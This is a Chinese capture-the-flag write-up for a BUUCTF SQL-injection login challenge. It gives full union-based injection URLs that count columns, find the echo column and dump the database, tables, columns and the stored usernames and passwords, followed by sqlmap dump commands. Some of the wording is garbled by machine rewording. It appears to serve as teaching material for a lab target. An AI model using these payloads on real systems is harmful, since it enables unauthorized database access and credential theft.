进入看到如下页面
是一个登录界面,尝试使用万能密码
显示登岸乐成,得到一串很像flag的,但感觉有蹊跷,果然不对
方法一:手工注入
看到url中有传参
尝试在url中使用union联合注入
可以使用postman这个软件,因为网页中的url会编码符号,不方便语句的编写
判断为字符型注入
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 3%23&password=1页面正常
复制代码
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 4%23&password=1页面报错
复制代码
故字段数为3
使用union联合注入,判断回显点在那里
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,3%23&password=1
复制代码 通过显示的数字确定显示的列的位置,根据查询效果,显示3,想要查询的信息放在第三个列
爆出数据库名
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,database()%23&password=1
复制代码
爆出表名
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,table_name from information_schema.tables where table_schema=database()%23&password=1
复制代码
爆出字段
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
复制代码
下一步爆出内容
- http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
复制代码 终极得到flag
方法二:sqlmap注入
发现上面有一行小字,当让要用sqlmap试试
不外必要先用burp suite抓包,将内容复制保存在当地的文件使用下令
-
- python sqlmap.py -r 文件名 --dbs
- python sqlmap.py -r 文件名 --tables
- python sqlmap.py -r 文件名 -T 表名 --columns
- python sqlmap.py -r 文件名 -T 表名 -C 字段名 --dump
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |